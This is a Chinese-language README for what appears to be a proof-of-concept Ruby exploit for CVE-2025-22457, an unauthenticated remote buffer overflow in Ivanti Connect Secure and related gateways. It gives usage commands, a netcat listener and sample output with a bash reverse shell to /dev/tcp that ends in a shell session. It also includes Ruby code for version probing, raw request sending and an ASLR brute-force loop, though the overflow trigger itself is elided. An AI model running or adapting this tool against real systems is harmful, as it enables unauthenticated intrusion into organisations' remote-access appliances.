Ivanti Connect Secure CVE-2025-22457 RCE 漏洞利用
项目概述
本项目是 CVE-2025-22457 漏洞的概念验证(PoC)利用工具。该漏洞是一个未认证的远程栈缓冲区溢出漏洞,影响以下 Ivanti 产品:
- Ivanti Connect Secure
- Pulse Connect Secure
- Ivanti Policy Secure
- ZTA Gateways
该漏洞允许远程攻击者在无需任何凭证的情况下,通过发送特制的 HTTP 请求触发缓冲区溢出,从而实现远程代码执行并获取目标设备的反向 Shell 访问权限。
完整的技术分析详见:Rapid7 漏洞分析报告
功能特性
- 未认证远程利用:无需任何用户名或密码即可完成攻击
- 反向 Shell 获取:成功利用后返回一个交互式 Shell 会话
- 自动版本检测:通过解析目标页面自动识别产品版本信息
- ASLR 绕过支持:内置内存地址暴力破解机制,可绕过地址空间布局随机化
- HTTPS/HTTP 双协议支持:兼容两种传输协议
- 多产品兼容:覆盖 Ivanti 系列多个安全产品
- 详细日志输出:实时反馈攻击各阶段执行状态
安装指南
系统要求
- Ruby 2.5 或更高版本
- 网络访问目标设备(443 端口)
依赖安装
# 安装所需 Ruby Gem
gem install httparty
gem install openssl
验证环境
ruby --version
# 应输出 Ruby 2.5+
使用说明
基础用法
1. 启动 Netcat 监听器
在攻击者机器上开启一个 Netcat 监听,等待目标反向连接:
ncat -lnvkp 4444
2. 执行漏洞利用
ruby CVE-2025-22457.rb -t TARGET_IP -p 443 --lhost NCAT_IP --lport 4444
参数说明
| 参数 | 说明 |
|---|---|
-t |
目标设备的 IP 地址 |
-p |
目标设备的端口(默认 443) |
--lhost |
监听主机的 IP 地址 |
--lport |
监听主机的端口号 |
完整示例
# 目标:192.168.86.111,监听端:192.168.86.35:8080
ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
执行输出示例
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering..
成功获取 Shell
Ncat: Connection from 192.168.86.111.
bash-4.2$ id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
核心代码
版本检测模块
# 从目标设备获取产品版本信息
def get_productversion(options)
res = HTTParty.get("#{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/dana-na/auth/url_admin/welcome.cgi?type=inter")
return nil unless res&.code == 200
m = res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i)
return nil unless m&.length == 2
m[1]
end
日志输出函数
# 带时间戳的日志输出
def log(txt)
$stdout.puts("[#{Time.now}] #{txt}")
end
HTTPS/HTTP 请求发送模块
def send_http_data(options, data, verbose = false, read = true)
s = TCPSocket.open(options[:target_ip], options[:target_port])
if options[:target_scheme] == 'https'
ctx = OpenSSL::SSL::SSLContext.new
ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE)
s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket|
socket.sync_close = true
socket.connect
end
end
s.write(data)
return [nil, s] unless read
result = ''
content_length = 0
while line = s.gets
p line if verbose
m = line.match(/content-length: (\d+)\r\n/i)
content_length = m[1].to_i if m
result << line
next unless line == "\r\n" && content_length
break if content_length <= 0
content = s.read(content_length)
p content if verbose
result << content
break
end
[result, s]
end
主攻击执行模块
def hax(options)
log "[+] Targeting #{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/"
log "[+] Payload: #{options[:payload]}"
productversion = get_productversion(options)
if productversion
log "[+] Detected version #{productversion}"
else
log "[!] Could not detect product version, continuing anyway..."
end
# ASLR 暴力破解循环
attempts = 0
while attempts < 256
log "[+] Attempt #{attempts}, trying libdsplibs.so @ 0x#{'%08x' % base_addr}"
# ... 漏洞触发逻辑
attempts += 1
end
end
6HFtX5dABrKlqXeO5PUv/9Z95XShAJAo2ZYhR+ibKq0=